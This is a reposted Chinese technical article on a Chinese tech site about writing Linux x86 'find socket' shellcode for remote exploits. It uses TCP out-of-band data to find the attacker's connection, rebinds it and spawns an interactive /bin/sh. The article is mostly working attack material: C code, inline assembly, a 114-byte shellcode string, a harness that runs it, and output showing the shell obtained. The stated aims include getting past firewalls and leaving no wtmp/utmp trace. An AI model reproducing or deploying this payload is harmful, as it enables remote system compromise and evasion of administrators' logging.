精品推荐
阅读排行
· 查看svchost.exe进程· PRO/E 十种技巧
· [组图] 3ds Max 高级长篇人
· [组图] PRO/E的曲面设计
· 怎样学好PRO/E软件?
· 路由技术介绍
· Pro/ENGINEER 学习资
· xml的应用是什么?x
· [组图] Photoshop制作珠宝文
· [组图] flash人物绘画教程
| 作者:佚名 来源:www.pccode.net 整理 发布时间:2006-4-19 12:57:54 发布人:wongrs |
| 利用OOB查找socket bkbll(bkbll@cnhonker.net) 2003-7-25 [1]. 前言 在*nix系统中, 在远程溢出程序或者漏洞利用程序(exploit)中, 一般的shellcode根据应用的不同可以分为几类: a. 绑定一个端口 b. 创建一个反连接 c. 执行某个命令,比如xterm, iptables(ipchains) -L等 d. 操作文件,比如添加一个空口令用户到/etc/passwd e. 重绑定client的sockfd. 分析以上利用方法: a实现比较简单, 但一旦用户有了防火墙规则不允许访问其他端口, 那么就没有利用价值了. b. 有了防火墙规则也利用不了 c. 不够直观, 不能交互式输入/输出 d. 会留下"小尾巴", 容易被管理员发现 e. 利用当前socket来做输入输出是最方便也最安全的. 优点是: 1. 可以有交互式的终端 2. 不会在wtmp/utmp中留下纪录 3. 不会存在防火墙屏蔽等问题. 本篇文章介绍如何利用OOB(带外数据) 来查找客户端的socker, 然后重绑定句柄, 再调用/bin/sh -ilp的过程, 并且附有c程序实现, 汇编程序实现, 以及shellcode. 注: 设计到汇编和shllcode部分均为在Linux x86上的实现. [2] 关于OOB 传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方.为了发送这些数据,协议一般不使用与普通数据相同的通道,而是使用另外的通道.linux系统的套接字机制支持低层协议发送和接受带外数据.但是TCP协议没有真正意义上的带外数据.为了发送重要协议,TCP提供了一种称为紧急模式(urgent mode)的机制.TCP协议在数据段中设置URG位,表示进入紧急模式.接收方可以对紧急模式采取特殊的处理.很容易看出来,这种方式数据不容易被阻塞,可以通过在我们的服务器端程序里面捕捉SIGURG信号来及时接受数据或者使用带OOB标志的recv函数来接受. [3] 在服务器端查找客户端句柄的方法 查找client的socket方法有很多种,LSD是通过在shellcode中, 轮循1-256 这些文件描述符,然后用getpeername得到一个sockaddr_in的结构,然后对应查找这些结构的sin_port成员值,如果sin_port等于客户端在构造shellcode时候填充进去的端口,那么就会认为找到了该句柄。后面会提供该算法和汇编代码。 还有一种方法是利用关键字鉴别方法,绿盟的小四(scz@nsfocus.com)提供了一段shellcode, 是轮循1-4文件描述符号,然后利用fcntl设置O_TRUNK, 再读这些句柄, 如果读到有事先约定好的关键字就认为找到了该句柄。后面也会提供算发和句柄。 LSD的方法比较简单,事先由client设置一个port,但对于NAT后的网络来说,client设置的port如在server端得到的port实际上可能并不一样,所以它不满足NAT环境。 小四的方法也可行,这样可以保证唯一性,但在轮循句柄,用read读数据的时候,程序没有考虑到block环境,假设从3-4都被block了,那么shellcode在运行的时候可能会要延迟两个超时的时间或者更多才能得到我们要的结果/或者是返回。我想,在read之前,利用setsockopt来设置NON_BLOCKK是不是更好呢? 一点疑问, 需要探讨. 这里想讨论一下利用OOB来鉴别的方法。 读OOB的时候不需要考虑是否阻塞是比小四方法好的一点, 而且发送数据的时候和本机IP, 端口无关, 所以也满足NAT环境. [4] 程序实现 一下是一个正常的server端程序: /* use OOB to find the client socket */ #include #include #include #include #include #include #include #include #include #include #include #include #include main() { int port=5555; // bind port int sockfd,clifd,on=1; struct sockaddr_in server,client; int i,k,flag; int data=0; char buffer[1024]; memset(&server,0,sizeof(server)); memset(&client,0,sizeof(client)); sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket /* fill the server struct */ server.sin_port=htons(port); server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(INADDR_ANY); /* set socket can bind again */ setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); printf("Listening ...."); fflush(stdout); if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0) { perror("Bind"); close(sockfd); return(0); } listen(sockfd,1); printf("ok\r\n"); while(1) { i=sizeof(client); clifd=accept(sockfd,(struct sockaddr *)&client,&i); printf("==============================================\r\n"); printf("accept a client from %s\n",inet_ntoa(client.sin_addr)); printf("client fd=%d\r\n\r\n",clifd); findclientfd(); sleep(10); close(clifd); printf("close client socket\r\n"); } } 绑定在5555端口,然后等待客户连接, 连接后,调用findclientfd函数来查找客户端的句柄. A. C语言算法: int findclientfd() { int i,k; char data; struct timespec tm; tm.tv_sec=2; tm.tv_nsec=0; nanosleep(&tm,NULL); for(i=3;i<10;i++) { printf("test %d if is ....",i); fflush(stdout); k=recv(i,&data,1,1); if(k<0) { printf("no\r\n"); continue; } if(data == 'I') { printf("yes\r\n"); dup2(i,2); dup2(i,1); dup2(i,0); execl("//bin/sh","//bin/sh","-ilp",NULL); } else { printf("maybe? data=%c,%d\r\n",data,data); } } if(i==10) printf("sorry,not find\r\n"); } 函数先sleep(2), 然后轮循3-9之间的句柄, 挨个读取OOB数据,如果有满足条件的'I' 数据, 就认为该句柄是客户端的socket. 编译运行看看: [bkbll@mobile ownprog]$ gcc -o findfd_c findfd_c.c [bkbll@mobile ownprog]$ ./findfd_c Listening ....ok ============================================== accept a client from 192.168.8.114 client fd=4 test 3 if is ....no test 4 if is ....yes 利用后面附带的客户端程序连接的结果: [bkbll@mobile ownprog]$ ./clientfd Connecting ....ok send OOB.......ok sh-2.05b$ id; uid=500(bkbll) gid=500(bkbll) groups=500(bkbll) sh-2.05b$ 证明是可行的. B汇编语言算法 int findclientfd() { __asm__( " xorl %eax,%eax pushl %eax incl %eax pushl %eax movl %esp,%ebx xorl %ecx,%ecx movb $0xa2,%al int $0x80 movb $0x09,%cl movl %ecx,%eax subl $0x0a,%eax notl %eax incl %eax movl %eax,%edi xorl %eax,%eax incl %eax decl %esp movl %esp,%edx pushl %eax pushl %eax pushl %edx pushl %edi pushl %ecx leal 4(%esp),%ecx xorl %ebx,%ebx movb $0x0a,%bl movb $0x66,%al int $0x80 popl %ecx cmpl $0x01,%eax jne .+0x07 cmpb $0x49,(%edx) je .+0xb loop .-0x2c xorl %eax,%eax incl %eax movl %eax,%ebx int $0x80 movl %edi,%ebx movb $0x03,%cl movb $0x3f,%al decl %ecx int $0x80 incl %ecx loop .-0x06 pushl %ecx pushl $0x68732f6e pushl $0x69622f2f movl %esp,%ebx pushl %ecx pushl $0x706c692d movl %esp,%edx pushl %ecx pushl %edx pushl %ebx movl %esp,%ecx xorl %edx,%edx xorl %eax,%eax movb $0x0b,%al int $0x80 " ); } 后面附有对汇编程序的注释. 编译,运行看看: [bkbll@mobile ownprog]$ gcc -o findfd_asm findfd_asm.c findfd_asm.c:80:9: warning: multi-line string literals are deprecated [bkbll@mobile ownprog]$ ./findfd_asm Listening ....ok ============================================== accept a client from 192.168.8.114 client fd=4 客户端: [bkbll@mobile ownprog]$ ./clientfd Connecting ....ok send OOB.......ok sh-2.05b$ id uid=500(bkbll) gid=500(bkbll) groups=500(bkbll) sh-2.05b$ ls 证明也是没有问题. C. shellcode实现 利用gdb 得到shellcode如下: char code[]= "\x31\xc0\x50\x40\x50\x89\xe3\x31" "\xc9\xb0\xa2\xcd\x80\xb1\x09\x89" "\xc8\x83\xe8\x0a\xf7\xd0\x40\x89" "\xc7\x31\xc0\x40\x4c\x89\xe2\x50" "\x50\x52\x57\x51\x8d\x4c\x24\x04" "\x31\xdb\xb3\x0a\xb0\x66\xcd\x80" "\x59\x83\xf8\x01\x75\x05\x80\x3a" "\x49\x74\x09\xe2\xd2\x31\xc0\x40" "\x89\xc3\xcd\x80\x89\xfb\xb1\x03" "\xb0\x3f\x49\xcd\x80\x41\xe2\xf8" "\x51\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x51\x68\x2d" "\x69\x6c\x70\x89\xe2\x51\x52\x53" "\x89\xe1\x31\xd2\x31\xc0\xb0\x0b" "\xcd\x80"; 长度是114字节. 嵌入到server中如下: /* use OOB to find the client socket */ #include #include #include #include #include #include #include #include #include #include #include #include #include char code[]= "\x31\xc0\x50\x40\x50\x89\xe3\x31" "\xc9\xb0\xa2\xcd\x80\xb1\x09\x89" "\xc8\x83\xe8\x0a\xf7\xd0\x40\x89" "\xc7\x31\xc0\x40\x4c\x89\xe2\x50" "\x50\x52\x57\x51\x8d\x4c\x24\x04" "\x31\xdb\xb3\x0a\xb0\x66\xcd\x80" "\x59\x83\xf8\x01\x75\x05\x80\x3a" "\x49\x74\x09\xe2\xd2\x31\xc0\x40" "\x89\xc3\xcd\x80\x89\xfb\xb1\x03" "\xb0\x3f\x49\xcd\x80\x41\xe2\xf8" "\x51\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x51\x68\x2d" "\x69\x6c\x70\x89\xe2\x51\x52\x53" "\x89\xe1\x31\xd2\x31\xc0\xb0\x0b" "\xcd\x80"; main() { int port=5555; // bind port int sockfd,clifd,on=1; struct sockaddr_in server,client; int i,k,flag; int data=0; char buffer[1024]; void (*z)()=(void*)code; memset(&server,0,sizeof(server)); memset(&client,0,sizeof(client)); sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket /* fill the server struct */ server.sin_port=htons(port); server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(INADDR_ANY); /* set socket can bind again */ setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); printf("Listening ...."); fflush(stdout); if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0) { perror("Bind"); close(sockfd); return(0); } listen(sockfd,1); printf("ok\r\n"); while(1) { i=sizeof(client); clifd=accept(sockfd,(struct sockaddr *)&client,&i); printf("==============================================\r\n"); printf("accept a client from %s\n",inet_ntoa(client.sin_addr)); printf("client fd=%d\r\n\r\n",clifd); z(); //调用shellcode sleep(10); close(clifd); printf("close client socket\r\n"); } } 编译运行: [bkbll@mobile ownprog]$ gcc -o findfd_shell findfd_shell.c [bkbll@mobile ownprog]$ ./findfd_shell Listening ....ok ============================================== accept a client from 192.168.8.114 client fd=4 |
| [ ] [返回上一页] [打 印] [收 藏] |
上一篇文章:利用OOB查找socket 下
下一篇文章:Win32教程9-子窗口控件 |
